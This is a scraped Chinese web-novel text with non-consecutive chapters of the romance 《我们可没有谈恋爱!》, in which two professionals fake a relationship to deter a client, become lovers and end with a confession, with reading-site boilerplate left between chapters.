怕江知羽不信他补充:[没病毒你可以放心看。] 江知羽:[实在没想到你会搜这些……] 江知羽:[一直以为你开口都是黄色废料是因为我们相处的场景不对吗?] Alfred当场变脸:[这些都是GV你以为的没错。] 江知羽:“。” 他复制了一串打开浏览器确实是专业资料。 可他捏造谣言感叹:[你看的GV好猎奇。] Alfred:[这样吗?] 江知羽审判:[你在装什么呢历史记录截出来看看。] 事实证明别和流氓耍花样Alfred居然真的登录网站给他截了一张图。 收都收到了江知羽顺势瞧了眼。 Alfred登录这网站的频率极其稀少保留的记录仅有前两周的一次。 那一次点 第 22 章 来电 《我们可没有谈恋爱!》全本免费阅读 江知羽音色明亮口齿清晰,这时故意放软,拖着腔调有几分轻佻暧昧。 听到他用这种语气开口的时候,戚述就直觉感到不妙,可惜现在想拒绝已经太晚了。 果不其然,电话对面莫名其妙,蹦出了奇怪又可怕的称呼。 戚述为此牢牢摁住了侧边键,试图把通话声音调小。 “好——黏——人——尽管音量已经变小,但还是能听清楚。 钓自己拨过去,又这么说自己? 哪来的倒反天罡。 戚述深吸一口气,听着江知羽的胡言乱语,率先有些吃不消。 然而现在掐断貌似不合适,戚述握着手机,察觉到有不少道视线戳在这边。 这么匆匆关掉,貌似显得心虚和避讳。 戚述有一些迟疑,但不觉得自己有哪里值得窘迫,大不了把偷听的下属们都拉去灭口。 “Fannar,你卡住了?他指的是脑子。 顾不上和戚述斗嘴,江知羽用余光去扫走廊。 周柯这个人没有节操,陪着殷衍这位款爷,摇摇摆摆推开自己的办公室。 见状,江知羽朝手机朗声感慨。 “用得着工作时间特意来查岗吗?唔,没有讨厌你的意思,是我给你的安全感不够多。他温柔款款地说。 对面的信号貌似真的卡住了,或许脑子也差不多,陷入了微妙的寂静。 江知羽管杀不管埋,没问戚述的死活。 瞧见周柯和殷衍杵在门口,他微微颔首,微笑着以示打招呼。 “我这儿有点事,你们等等?江知羽道。 殷衍显然听到了刚才那些话,惊讶地瞄了他好几眼,立即表示自己没有关系。 而江知羽偏过头,用侧脸对着这位客户,再继续打电话。 “对了,你出门的时候,说要亲手做饭?他假装回忆,“我晚上没工作,那早点过来陪你。 耳机里,戚述忍辱负重地应声。 “亲手做的是一桌鸿门宴吧。他冷冷道。 江知羽自说自话,与他截然不属于同个频道。 “你在我家等等好了,话说你的东西乱放在我卫生间呢,下次想来过夜可以直接开口,别故意丢三落四。 戚述被恶意揣测,茫然:“我丢什么了? 江知羽遗憾道:“我有点正事,先不聊咯,你别太想我。 说完,他利落地摁掉电话。 周柯看着江知羽即兴表演,本来没理解这 人突然发什么神经。 不过,他结合殷衍的一系列举动,思路差不多能转过弯来。 又是全场请下午茶,又是特意拉人吃饭,有钱没处花也不至于如此体贴。 周柯听说过一些风声,殷衍嗜好漂亮男青年,这八成是江知羽发现了什么,有意识地在规避麻烦。 “哟,你对象给你送温暖呢?”周柯打配合。 江知羽给戚述扣黑锅:“是个愣头青,有一点缠人,暖得都要烧起来了。” “听着有点作,原来江总监喜欢这一款?”殷衍道,“我以为你是单身主义。” 江知羽道:“他性格不错,阳光开朗大男孩,热恋期还在磨合,就是需要多多相处。” 殷衍打量着他,叹气:“本来我想请你一起去晚宴,现在看来你另外有约了。” 对此,江知羽表面惋惜。 实则在心里想着,谁敢去吃这顿饭?他宁可去赴鸿门宴。 同一时间的松晟大楼,戚述站在宽敞明净的走廊上。 他原先没打算临时抽身,在江知羽说出“安全感不够多”之后,终究忍不住离开众人视线。 不然以同事们丰富的表情和复杂的眼神,待会儿该掏钱付自己看戏门票了。 现在,江知羽挂断了语音通话,戚述却没有立即回会议室。 入职五年多以来,他作风雷厉风行,头一次如此犹豫。 直到休息时间结束,戚述这才坐到了自己的位置上。 虽然江知羽刚刚持续胡说八道,但在第一句话讲完之后,戚述就已经把音量调到了最小。 周围人眼观鼻鼻观心,听不见之后的内容,可“宝贝”二字的冲击力实在太猛,大家俨然还在晕眩之中。 尤其是坐在他旁边的助理,想偷看又不敢瞄,想跑路又不敢动。 整间屋子氛围堪称坟场,所有人恨不得自己是个聋子,此刻还没来得及被拉去火葬,不过自我感觉一只脚已经踏进墓地。 会被灭口的吧,大家不约而同地绝望了,以戚述的破脾气,肯定会把大家浇水泥封马路。 “抱歉,遇到一个人,他这里不太行。”戚述开口。 他点了点太阳穴,又比了个叉。 手势的意思是头脑不太灵光。 近处有同事是马屁精,见戚述打破僵局,连忙笑着附和。 “我说嘛,对面瞎讲什么呢,想象不出来戚总黏人的样子啊!” 他的话音落下,其他人瞪圆眼睛,感到更加崩溃。 操,还敢去想象,好大的胆子,在场的无辜群众很诧异。 助理打圆场:“哎呀,戚总现在就算谈恋爱,也是正常的嘛,到时候给大家发喜糖。” “真没有。”戚述不愿意被误会。 他风轻云淡地跟了一句:“就算谈了,和傻子交往也犯法。” “让我们回到正题,下一位汇报的是谁?”助理头疼,“请上来打开你的PPT。” 下午的办公节奏本就紧凑,戚述难得在场,大家珍惜见面的机会,也想找他请教问题。 随即,同事们集中注意力,把心思转移到了工作上。 随着市场多方洗牌,大鱼开始吃小鱼,小鱼准备吃虾米,里面少不了投行的手笔,并购重组一直是近几年的风口业务,不缺项目不缺资源。 报酬极其丰厚的同时也有代价,这份工作流程长要求高,想顺利匹配很费劲,有些忙到最后无疾而终。 好在松晟这边,戚述主管并购团队,成交率向来领先许多。 他是个形象非常鲜明的领导者,给人的印象不可冒犯也难以撼动,做的决策往往清醒又敏锐,值得被信任和跟随。 很多人诟病他的强势,不过在部门里,其实他并不独裁专断,会耐心听每个人的汇报。 眨眼来到下班时间,他们拖了大概半小时,戚述解答完眼前问题,又理清各项重点。 在这之后,他回到楼上继续处理公务。 江知羽:[之前没有打扰你吧?] 江知羽:[我这儿有个客户很难搞定,我想推掉饭局,借你伪装一下男朋友。] 戚述看到留言,回复:[猜到了,以后要是把别人充作娇妻,请提醒他开静音。] 江知羽懵懵懂懂:[为什么?] 戚述想了想,回复:[听得耳朵有点疼。] 江知羽看到他这么说,不禁哼哼了一声。 紧接着,江知羽散漫地打字。 [你的领带夹真的丢在我这里,要我送过来,还是你跑一趟?] 戚述:[你过来吧。] 发送完这行字,他补充:[吃什么外卖?] 这会儿如果回家下厨,怕是八点才能吃到一口热饭,没有必要如此折腾。 江知羽挑食:[不吃香菜不吃葱,也不怎么吃蒜泥,有劳。] 戚述打电话给酒店,让他们安排送餐,随后坐上公车离开,这时城市天际已然暮色四合。 第 23 章 情人 《我们可没有谈恋爱!》全本免费阅读 戚述在公司里能建立威望,不止是依靠职权他说话做事气场很强有种与生俱来的傲慢会令周围无法忽视他的存在,并下意识地选择服从。 现在戚述讲着电话,即便没有故意散发戾气,也足够有压迫感。 电话那端没想到他会突然出现不由地一愣,继而想起江知羽对男朋友的描述。 阳、光、开、朗、大、男、孩。 殷衍:“……” “他真的和在你谈恋爱?找朋友假装的吧?”殷衍见识多广,依旧感到不对劲。 手机开着公放,戚述道:“说了却不信那要怎么证明?我们接吻喊你来现场观看?” 这下不光是殷衍被噎住,江知羽也顿了顿。 他放下筷子,示意戚述别这么乱讲话而殷衍道:“哥们儿,别这么嚣张,哪怕是夫妻往后还能离婚呢。” 怎么说也是浪迹花丛的公子哥,感情经历丰富多彩,这时不办公事更不把对面当回事口头没什么遮拦。 殷衍吊儿郎当又表现嚣张但凡情绪不那么稳定,很容易被激怒。 可戚述叠起食指敲了敲桌沿,漫不经心地笑了一声。 “反正你过来骚扰就属于撬墙角,我正当回应那叫做打小三。”他高高在上地提醒。 他再停顿半秒,忽地记起了要紧事。 “噢,对了,没让你上桌吃饭呢你连第三者都不算请你有点被拒绝的自觉不然我吃醋了还麻烦江老师哄。” 旁边的江老师:??? 这时候怎么这么起劲之前不还阴阳怪气说自己听得耳朵疼? 说完戚述掐了来电将手机递给江知羽。 “他最近经常来找你?没听你说过怎么这么烦人。”戚述又开始查岗。 江知羽戳着碗里的米饭闻言倍感无辜。 “啊?你不是说自己不好奇吗我就少讲几句省得你万一嫌烦。” 戚述说:“我发现这件事需要共享信息不然再有类似情况我演不好。” 江知羽更迷惑了刚才这人演技超群可以说是驾轻就熟专业打击小三小四简直天生吃假男友这碗饭。 不过他配合地多讲了一些背景。 “被你这么吓唬殷衍估计死心了吧好歹养尊处优惯了不应该觍着脸再来。” 戚述道:“你刚才也是这么分析他的没到半分钟他就打了你私人电话。” 说起这茬 的号码。” 江知羽:“……” 原来戚述发现了端倪江知羽匪夷所思:“你为什么会知道……之前你想打我电话?为什么?” 戚述厚颜无耻想说自己要当报喜鸟向他亲自发去松晟的录用通知。 话到嘴边他看到江知羽满脸诧异俨然没想过自己会联系也没想过要留真实手机号。 穿好裤子就想甩个一干二净试图用最粗暴的方式收场。 两个人坏到一块儿去了戚述意识到这点暗地里改变念头。 他说自己当时想简单地关心下床伴的腰腿是否还酸涩膝盖的淤青有没有养好。 江知羽登时警惕连响油鳝糊也顾不上吃了。 “和你什么关系啊没安好心。”他每次回忆都觉得屁股疼。 并且他挑刺:“谁和你是床伴呢?能不能少说床这种字喝醉了才有的一夜情而已。” 戚述从容道:“真的只有一夜?” 四两拨千斤江知羽沉默了如果他之前坚定地斩断纠缠想必现在能义正辞严地点头。 可惜没抑制住那份躁动和吸引两人岂止是一夜的关系。 哪怕上次停在互相帮忙纾解那晚也确确实实有过同床共枕那枚领带夹就是证据。 江知羽在洗手池边发现的时候第一反应不是嫌麻烦也没想立即归还而是捏着这个诱饵等戚述后知后觉地找过来。 找过来然后呢?他全凭直觉做事没认真思考过下一步。 此刻他被戚述打量着有些局促地撇过脑袋。 “最开始我觉得应该这样是你总要过来扰乱我。”江知羽微微皱了下眉头。 他又想栽赃陷害:“你这里是盘丝洞吧?” 听见这个说法戚述感到很滑稽不禁扯起嘴角。 江知羽搞不懂这人在琢磨什么好在没有被追着盘问于是内心松了口气。 尽管戚述不会这么轻易地放人一马可至少现在风平浪静江知羽埋头继续吃饭。 之后收拾餐具戚述穿上黑色的防水围腰身后潦草地系了个结做家务的姿态很利落。 江知羽抱住胳膊倚在门框上 过了会儿他没能忍住又偷偷瞥过去。 江知羽没觉得自己真正地认识过对方因而眼神里怀有几分新奇。 就事论事他不熟悉Alfred的来历背景也摸不清Alfred的内心 活动甚至没试探出真实姓名 与此同时自己却已经了解他的身体线条。 走势流不流畅肌肉结不结实具体到人鱼线是否清晰碰到皮肉的话触感如何…… 自顾自神游到这里江知羽低着头假装没事找事地搓了下手指。 “我想喝酸奶。”他感觉再待下去有点危险这样像极了被喂饱后等待开宰的猎物。 “记得旁边有超市我导航一下……” 戚述指了下厨房打断:“这里就有。” 没能顺利脱身江知羽烦恼地用脚尖踢踢地板再磨磨蹭蹭地打开冰箱。 随即他看清里面保存的东西惊讶地眨了下眼。 冰箱内除了酸奶还有荔枝味的。 粉色的零食包装袋很显眼江知羽无法忽略又觉得自己好似踏入了香甜的陷阱。 “你怎么也是学人精?”他转头和戚述说。 也? 戚述心里一动但没问是谁同样被这么骂过估计和自己一样不是好东西。 “我不吃这么甜的东西。”他回答“下班路上想到了就去买了一些。” 江知羽“噢”了声不想和戚述离太近喝着酸奶就坐去客厅。 随后他在茶几上发现收银小票拿起来检查了一下。 结账的时间是今晚六点半左右看来戚述没有撒谎继而江知羽开始细瞧购买清单。 总共就两样东西其中一个是。 另外一个是避孕套。 江知羽:??? “Alfred。”他气势汹汹地杀回厨房“你在准备什么?我现在就要走了!” 戚述若有所思:“你翻了小票?” “谁让你心里的水太黑我根本不需要翻。”江知羽嘴硬。 戚述淡淡道:“我买单的时候货架有产品做活动然后就想起了你上次逛超市问我怎么家里没有。” “你那时候说自己不需要。”江知羽顶撞。 戚述见他紧张淡淡地捉弄:“之前是一个人用不上现在需不需要全看你。” 江知羽受不了被他这么看着:“你不要来蛊惑人。” 戚述站在他的盘丝洞里眼神落在江知羽的周边。 这些视线一缕一缕轻得几乎没分量但又能将人严密地包裹起来。 江知羽下意识地绷住了脊背再听到戚述很风度地应声。 第 24 章 甜味 《我们可没有谈恋爱!》全本免费阅读 过不过去?抱不抱他? 这句诱导不像挑逗,没有半分热情谄媚,更像是明晃晃的指令。 戚述听到的时候,感觉字词新鲜又稀奇。 众人投向自己的目光往往压抑、精明、小心翼翼,没有谁敢大胆试探,更不用说肆意拉扯。 现在江知羽望着他,眼底狡黠又透澈,青涩交织私欲,全都一览无余。 他们的阅历和心智早已成熟,知晓每一股暗流会带自己卷向哪个方向,当下,探讨“情人 彼此没有支配和被支配的区分,只有想要或不想要的默契。 在这种心照不宣的时刻,江知羽撩起眼睫,神色里写着答案。 想要。 而戚述用体温作为回应,臂弯线条结实清晰,或托或搂都很稳当,江知羽被打横抱起来。 戚述没有拥抱过别人,手没有摆到最恰当的位置,力气也用得不太对,可江知羽不那么在乎。 对方有点莽撞,不过自己就要弄乱成这样。 江知羽的破坏欲作祟,妄图窥探戚述更赤i裸的一面,看看那张不动声色的脸,是否也有某个瞬间会失态。 但戚述没让他得逞,视线扫过他的泪痣,眼神如墨色潭水一般难以探究。 这场恶作剧的地点从玄关到卧室,没人顾得上开灯,但似乎正好符合这段关系。 不见光,也不用看清楚。 只需要遵循本能就可以。 江知羽仰起脖颈,去解戚述的衣扣,他并不习惯帮别人卸下衣衫,灵巧的指尖有些迟钝。 于是他抽掉领带就放弃了:“你自己来。 戚述接过那条领带,伸手的时候,江知羽以为这是要脱自己衣服,下意识地缩了下肩膀。 紧接着,他右眼的泪痣被轻轻抚过。 或许这个动作还可以描述成摩挲,细致得仿佛在观赏展品,让江知羽莫名有种被瞄准的感觉。 “我去浴缸放水。戚述慢条斯理地说,“绒绒,我帮你洗? 江知羽闻言,鬼使神差地“唔了声,点点脑袋以示答应。 第二天,他就为此陷入了自责,打开那间卫生间的门,都没好意思迈步踏进去。 浴缸虽然被简单地清洁过,但瓷砖上全是残留的水渍,被弄得一塌糊涂。 江知羽选择换个卫生间洗漱,推门出去,戚述已经在吃早饭。 男人现在看上去衣冠楚楚,江知羽磨了磨后槽牙,背地里哼了一句“禽兽 真会自我伪装。 尽管昨晚没厮混太久,但他认定了戚述本性恶浊。 这家伙确认过自己的膝盖已经养好,再用厚实的浴巾垫着,江知羽就跪坐在上面。 他上身趴到浴缸的边缘,软绵绵地泡在水里,再根据记忆交叠双腿…… 思及此,江知羽不太自然地低下头。 “我起床的时候看了下,你的腿稍微有点红,但是没有肿起来。戚述率先搭话,“这样需要药膏吗? “用不着。江知羽不假思索地回答。 戚述敏锐道:“你是不是不喜欢我在背面? “算不上,主要是那样我没法看见你的脸,猜不到你会用什么神色打量我。江知羽的别扭来自于陌生。 说完,他就吓唬:“如果你在嘲笑,那你就完了。 戚述道:“没有,真要说内心活动的话,应该是在困惑。 “你那时候还走神?江知羽睁圆眼睛,有些不可思议。 他立即补充:“要是你兴趣缺缺,我们随时可以停止。 戚述单手撑着头:“我在想什么时候能打开避孕套,上次我没有弄好,下次要认真点,请江老师教教我。 江知羽:“…… 没想到对方居然在惦记这件事,他转而磕磕绊绊,沉默了两三秒。 江知羽继而抬起下巴:“那你要先让我足够满意。 他还是用腿帮的忙,不过,细究差异的话,昨晚和之前有点不同。 江知羽没再那么戒备和抵触,能够正视戚述带来的刺激,有意识地去追逐乐趣。 如果戚述当时提起更进一步,江知羽大概不会拒绝。 可戚述没这么打算,江知羽也不主动邀请。 没什么特殊原因,身体合拍、氛围沉浸,处处挑不出错处。 可能是缺了一点情难自禁,或是一些超出承受范围的刺激。 毕竟两人不存在所谓的爱意火花,无论夜里如何缠绵,这仅仅起源于生理需求和冲动。 他们不是原始动物,互相拉扯之际,都要求自己懂得适可而止。 更何况,双方没有做玩咖的经验,认识的时间也不长。 哪怕言语层面敞开了,赤i裸相对的时候,也多少会有生疏挂碍,像他俩那样已经非常过头。 “松晟开的讲座在哪里?我送你。戚述另起话题。 江知羽报出了某所名校,道:“你的车太招摇了,我还不想出名,一个人去就可以。 “殷衍万一来蹲点怎么办,到时候就该说我不解风情,当场对你表演小三上位。”戚述道。 若不是戚述讲起这茬,江知羽压根没有殷衍放在心上。 他干嘛把人记得那么牢? 江知羽纳闷完,随之态度动摇,怕殷衍真的干得出类似行径。 趁着他没那么抗拒,戚述递给他便当盒子,里面是加热过的麦芬和贝果。 “走吧。”戚述说,“见客户宜早不宜迟,提前十分钟省得半途有点事。” 听到他这样讲,江知羽怔了怔。 他发觉他们这方面有点相似,可说出来貌似太亲密了,两人在床下不该有什么纠葛。 于是,江知羽咬了一口贝果,模糊又敷衍地应声。 来到高校门口,时间尚且充裕,他正好吃完早餐,转头与戚述告别。 “不会有人看这里吧?”他朝窗外探头探脑。 戚述冷笑:“放心,没有人知道这是你炮友的车。” 江知羽想朝他翻白眼,堪堪地忍住了,紧接着拿好东西前去礼堂。 戚述停在树荫下,看着他的身影渐渐离开,没过多久,松晟的公车也出现在附近。 那群人没注意到戚述的存在,过了一会儿,打电话来询问他今天是否有空。 “我们和高校合作了一场讲座,您在这方面也很有见解。”露西说,“院长觉得您能露面再好不过了。” “他请的是你们。”戚述道,“我去了,该坐哪把椅子?” 露西道:“您当然是坐哪里都可以。” 戚述轻描淡写:“我想去同传间当保镖呢,也帮我配一套设备?” 露西顿了下,没想到他会在意这件小事。 她立即解释:“戚先生,我们找江总监没别的意思……”
江知羽刚才自己也这么讲过,这时听到朋友这么说,却心里别扭了下。 他与戚述的轨迹正相反,虽然努力和固执,但往往凭借心意蓬勃生长,比起结果更注重体验。 他可以飘去世界任意角落,随性地变成任何模样,抗拒被禁锢翅膀,也惶恐因果沉重,自己可能承担不起。 本来这套体系非常自洽,江知羽生性就向往自由,此刻没有人锁着他,他却像已经是被困住了。 “永煊最近升级他们的管理体系,找我这边开发新的erp系统,戚述,你哥做了负责人,我刚和他对接过。”有人忽地出声,打断江知羽的神游。 闻言,戚述首先没有泛起情绪,却下意识地瞥了江知羽一眼。 只是很短促的半秒,江知羽敏锐地察觉到了,戚述好像不是很想聊戚诺的事,尤其在自己面前。 一直以来,戚述就没和他提过戚家,江知羽之前不想扫兴,也便绕过这些人和事。 可是现在江知羽控制不住探究欲,终究掀开了这层纱。 “好巧,我和这家集团也有合作,听说戚诺和你沾亲带故,我给他打了人情九九折。”江知羽半开玩笑,主动掺和进来。 戚述顿了顿,说“他这两年春风得意,看起来晋升得很快,你应该狠狠宰他一笔。” “对啊,他看着是要接班了。”旁人道,“老爷子没尝试过挖你打理家业?” 戚述显得漠然“分家的时候我归我妈,和那边没什么关系,从来没想过插手另一边的生意。” 江知羽观察着,戚述果然很在乎自己和戚诺的接触,说完这一句,对方就侧身看向了过来。 此时此刻,戚述摘下了测谎设备,用彼此才能听清的音量说“他是找你做什么?” 江知羽道“我们只有正常的业务沟通,在蒲音的会议室见过一次面而已。” 发现戚述有些绷紧,甚至在微妙地抗拒,江知羽不明所以。 继而他揣摩兄弟俩关系恶劣,互相的印象肯定也很糟糕,戚述大概会担心自己被为难。 江知羽补充“他的情商还挺高,非常会和人打交道,我们公司的人很欢迎他,周柯说这样的客户最好多来几个。” 戚述扯了下嘴角“嗯,他一直很讨喜。” 他已然收敛了情绪,江知羽琢磨不出什么,自认回答得中规中矩。 随即,江知羽小声嘟囔“你不想我和他接触的话,我把永煊的单子挪给部长。” “没,我也是问问。”戚述这么说着,明显因为这句话而轻松起来。 没人注意的角落里,他用手肘偷偷撞了撞江知羽的胳膊。 “总监,你不是撑起蒲音半边天的事业狂?如果突然愿意推工作了,你的部长和老板会不会以为你被下蛊啊?” 江知羽微微扬起下巴“我的排期本来就满到做不完,就一场股东大会,做和不做没有影响。” 戚述弯了下眼睫“好,我知道了,永煊那边规模不小,你去了应该能有收获。” 江知羽默默纳闷,这人什么情况啊? 亲哥眼看着要一手占有家业,戚述这么野心勃勃的人,居然满心满眼地帮忙规划自己的事业?! “我也知道了,话说你在那里有股份吗?”他打听。 戚述说“你要是想看到我,可以直接说,这句说辞搞得像是摸清家底。” 江知羽磨了磨牙,问“我 问问你的财务情况怎么了?不允许我开开眼界, 观摩资本家有多阔绰了啊?” 戚述不想做人了“一般婚前谈聘礼了才会互相分享吧,当然你想知道的话,我整理资产列出表格,等会儿发你文件。” 江知羽倒吸一口气,想翻白眼又勉强克制,正准备偷偷伸手去掐戚述。 然而,不远处的圆桌有人喊“打牌四缺一,戚述,你躲哪儿风花雪月了啊?没约会就来补个桌角。” 戚述尚且没有做出反应,江知羽如同自己被点名,率先打了个激灵。 “我要去玩,你们是德州还是掼蛋?”江知羽似乎被风花雪月所刺激,欲盖弥彰地背过手去。 见他作势要溜走,戚述半点不自觉,尾随着去了那边。 在此期间,戚述跃跃欲试地想帮江知羽出牌,被江知羽联合其他人轰到了一边去。 这场沙龙玩得很开心,江知羽听到了不少有意思的事情,当下的游戏引擎厉害到了什么程度,美国高校的橄榄球比赛有多激烈。 在场还有戚述的本硕同学,那人聊起某次毕业典礼,戚述作为优秀学生代表,被校方邀请发言,现场接二连三地送花上去,连院长都说帅哥的演讲效果就是非同凡响。 听到这里,江知羽不禁瞟向戚述,戚述立即澄清“我双手拿着稿子,一束都没有收下。” “隔壁学长,你的人气这么火爆?”江知羽身为剑桥高材生,对牛津硕士发出疑问。 戚述装傻“我怎么不知道自己人见人爱,刚刚想帮人当参谋,都好心没好报,被狠狠地摆了脸色。” 江知羽无语“大家是休闲放松,就你一个劲地算牌!” “抱歉,太想让你赢了。”戚述从容道。 他还讲得颇为可怜“幸亏你足够聪明,不需要我出场,这几局也很顺利,我还是出门凉快凉快吧。” 正好时间差不多了,江知羽被戚述带过来,自然要和他同进同出。 “现在需要你导航,我们的酒店在哪里,我都找不到方位。”江知羽说。 戚述与他窃窃私语“离这里步行一刻钟,要不要散步?” 江知羽欣然同意,穿上了外套,与其他人说了再见。 瞧着他俩结伴离开,贺景延打听“你们睡一块儿啊?” 江知羽差点说“对”,转而抿了下嘴。 他状似无辜“我被他带来出差,酒店肯定定在一起,否则我投诉他虐待乙方。” 贺景延吊儿郎当“哦,江先生别紧张,我也是这个意思,那你们奔波辛苦,回去好好休息。” 这人表情意味深长,似乎是怀疑他们有一腿。 可惜贺景延说得太冠冕堂皇,搞得江知羽没办法挑刺,连忙心虚地加快了步伐,生怕晚一步就要暴露慌张。 戚述也是个厚脸皮,趁机贴心道“我对服务商特别尊重,也特别照顾,待会儿去你房间帮忙打蚊子吧?” 江知羽快被气笑“哥们儿,你看看本地的气温,动物园都要冬眠了!” 戚述换了个说法“可我还没有和你待够,不止你会觉得五天很漫长,我是掰着手指撕日历。” 江知羽吃软不吃硬,马上乖乖熄火,温顺地不吱声了,似乎怎么得寸进尺都可以。 沙龙举办在一家不对外开放的俱乐部,位于市中心闹中取静,从这里一直到下榻酒店,街头巷尾栽满了梧桐树。 正当好,现在是梧桐飘落的季节,他们 踩在满街的黄叶上(笔趣阁., 寂静夜里时而有清脆响动,如混乱的节拍迎合强烈的心跳。 并肩走到酒店,江知羽和译员们住在11楼,戚述和同事们住在12楼,但前者摁了楼层键之后,后者站在身侧没再动作。 江知羽没敢去瞪他,也没帮忙摁到楼上,电梯缓慢上升,到行政酒廊的时候,平稳地停了下来。 有其他住客也需要用梯,在移门打开之前,江知羽礼貌地往旁边让了让。 “江总监,戚述?”不算熟悉的声音传了进来,“咱们好巧啊,你们也来这儿出差?” 戚诺夹着文件,反面朝上看不清内容,慢悠悠地踱步进来,视线来回扫了他们一圈,笑得格外灿烂。 他夹到两人中间,爽朗搭话“早知道江总监在这里,我肯定请你出来喝一杯,之后的事情就辛苦你了。” 江知羽朝他微微颔首“客气什么,受人之托忠人之事,这是我的工作。” 紧接着,戚诺看向戚述“我正好有话想和你说,这下都不用打电话了,我们去聊聊呗?你这会儿空不空?” 戚述冷淡地瞥过去,戚诺朝他侧过身,翻出了文件的正面。 那是法语申请,已经被标注了英文,标题写着“休学申请”。 落款处字迹还很稚嫩,但初步有了笔锋…… 那是江知羽的名字。 “一些我们家的防风险措施而已,你那么戒备干什么?我还能害你么?你有顾虑的话,可以拉上江知羽做保镖啊。”戚诺潇洒地收好文件。 听着他们的交谈,江知羽蹙起眉头,困惑地望了过来,然后戚述说“我有空。” “哎,我弟就是这样,就对他有兴趣的才能打起精神,我还指望和他联络感情呢。”戚诺朝江知羽抱怨。 江知羽客气地笑了下,观察场面一切如常,于是他没有多话,镇定地回到房间。 瞧着他的背影,戚诺等到移门关上,吹了声口哨。 “我前阵子去饭局,听你们前公关部的人说了一桩八卦,你的译员被别人设了坑,你千里迢迢地从德国回来,落地就去翻车载监控,回公司给他撑腰。” 平静地讲述着,他挑起眉梢“那时候我就很纳闷,你怎么这么在乎一个译员?原来是打江山不忘要美人。” 戚述不耐道“我讨厌勾心斗角的事情,不想别人好端端的被陷害,你最好也别背后造谣。” “你第一次知道他休学的事情啊?看来你们关系也没多亲近。”戚诺说。 到了13楼,他款款踱出去,晃了晃那份文件。 戚诺道“我托私家侦探半个月就打听出来了,是不是很及时?赶在你和他在一起之前,省得你添上麻烦。” 戚述心里有诸多疑问,却没有讨要真相“我也没想到你这么下作了。” “好奇弟弟的品味,不可以啊?”戚诺笑起来。 戚述不想去看内容,戚诺就讲给他听,江知羽初中休学过。 没人知道他为什么休学,私家侦探的信息很有限,只知道江锦昆带江知羽搬进了一栋别墅。 有很长的时间里,周围邻居没见过小孩出门,但见过精神医生和家庭教师时常造访。 私家侦探想去他们曾经的住处搜寻线索,可惜江锦昆从不透露家庭隐私,外人只知道他们起初住在公司分配的公寓,具体地址已被年月模糊。 戚诺道“他是精神病吗?我看不出来诶,也怪不得你被蒙在鼓里,你 说说,这要是他哪天装不下去,暴雷了怎么办?” 戚述的脸色很差,却始终克制,没有被激怒。 他的思路很清晰“你最好别乱说话,我不稀罕永煊这点东西,股份可以送给别人玩玩,比如二叔或者三叔,他们话语权和你差不多,也和你一样想做总裁。” 这招戳人肺腑,戚诺登时咬紧牙关,再听到戚述继续往下说。 “我希望你这份文件丢在粉碎机里,嘴巴也像现在这样闭紧点,你明白了没有?” 戚诺没吭声,戚述没有问第二遍,两人沉默地对峙着,直到戚诺说了句“明白”。 “记得你说的。”戚述提醒。 他不在乎戚诺的自尊心是否被打击,利落地往楼下走去,注意力专注于最重要的事物。 当初江知羽遇到了什么事?一定特别痛苦吧,这是花了多少力气才变成如今的样子? 现在那些创痕有没有痊愈,他是不是做得不够多?戚述杂乱地想,江知羽需要自己在身旁吗?又该小心翼翼地说些什么呢? 三心二意地神游着,他甚至忘了摁电梯,自动来到了底楼。 戚述毫无所知地往外走了几步,忽地回过了神来,继而他诧异地发现,江知羽没有待在房间,就在门口的路灯下踩着树叶。 细碎又微弱的沙沙声里,江知羽时不时仰起脑袋,似乎在搜寻某一间房间,企图从窗户里发现某一道身影。 几乎是心有灵犀,在戚述目光落过去的时候,江知羽忽地顿住动作,懵懂地望了过来。 “你在找我吗?”戚述说。 江知羽死不承认“没有,你和你哥在13楼,我怎么可能看得到。” 连他们的电梯停在几楼都留意了,戚述舍不得揭穿他,随即来到了他的旁边。 “我发现踩树叶很解压,京市的银杏就没有声音,换成这片梧桐正合适。”江知羽蹦蹦跳跳,心性天真地念叨着,“戚述,你想试试吗?” “会不会有点傻,可能有车路过。”戚述说。 没管他的拒绝,江知羽牵过他的手腕,轻盈地转了一个圈。 晚上十点多的宽阔街边,没有车辆惊扰他们,唯有凉风拂过,携带着稍许的冬日气息。 不过这个也没有关系,两人头顶的梧桐飘下叶子,悄然拂过他们的周身,江知羽一点也不觉得寒冷,最讨厌的冬天在此刻都可以被原谅。 他的身影摇摇晃晃,戚述反过来抓住了他,拉扯间,两人踉跄着踩过满地叶子。 江知羽无意磕绊了下,戚述下意识地护住他,进而相拥着重心不稳,倒在层层叠叠的落叶上。 江知羽无所谓沾染尘土,发泄道“我本来真的要休息了,可是又想到了你,心里好烦啊。” 戚述将他拉起来“因为我的理想型半边热辣半边清纯?” “不,因为我试图对号入座,但这些只不过是自己的答案。”江知羽说。 连日以来的情绪无法再压抑,他道“你为什么要给我制造那么多心事?你懂怎么爱人吗,会爱他很久吗?在你眼里他是什么样子,万一不够真实呢?” 这些问题没有下文,他已然在不由自主地担心戚述,跑到楼下还能被逮个正着,横竖都没有没办法再自欺欺人。 江知羽不确定的东西是那么多,桩桩件件如同秋天的涩果,似乎还没熟透却必须垂落。 没有衣柜可以躲藏,他唯有面对自己的躁动、胆怯和贪婪。 “你如果是对我有好感,应该早就喜欢了吧?你怎么可能忍得住一直不说?”他隔着窗户纸,没等到对面的判决。 反问的声音带着点颤,覆水难收,江知羽清楚这句话有多莽撞,捂嘴难以撤回声音,遮住耳朵是否能够保留体面? 可惜他的手始终被戚述牵着,拉住了就没有放开过,整个人都要被对方焐热。 紧接着,他听到戚述再也忍不住“所以江知羽,我早就喜欢你了。” 作者有话要说 时有幸向你推荐他的其他作品 第 73 章 悸动 独自辗转反侧地去构想无数遍,此刻真切地在耳边笃定。 纠缠成一团的思绪从而消散,如同给予解脱,不过江知羽没有自己被松掉的感觉,反而有东西从其中破出。 抽出的千丝万缕细软而绵密,轻之又轻、慢之又慢地裹住了他,稍一挣动就会被搅乱。 耳边克制的呼吸里,它当下是如此脆弱紧张,江知羽为此连动作都放缓,怯生生地望向戚述。 触碰到的目光很专注,也格外炽热,江知羽对此没有任何反抗,任由自己束缚其中,也任由它附于自身,继续蔓延生长。 刚才他质问的时候难以自抑,情绪动荡得仿佛刮起横风,力道大到足以把眼前落叶都吹个干净,破罐子破摔怎么发泄都不够。 被戚述一句话回得哑口无言,江知羽没出息起来,无措地眨了眨眼睫,似乎还想好奇些什么。 抢在他确认之前,戚述朝他重复道“我喜欢你。” 这下江知羽又没话了,指尖有些发麻,还被戚述捏了捏。 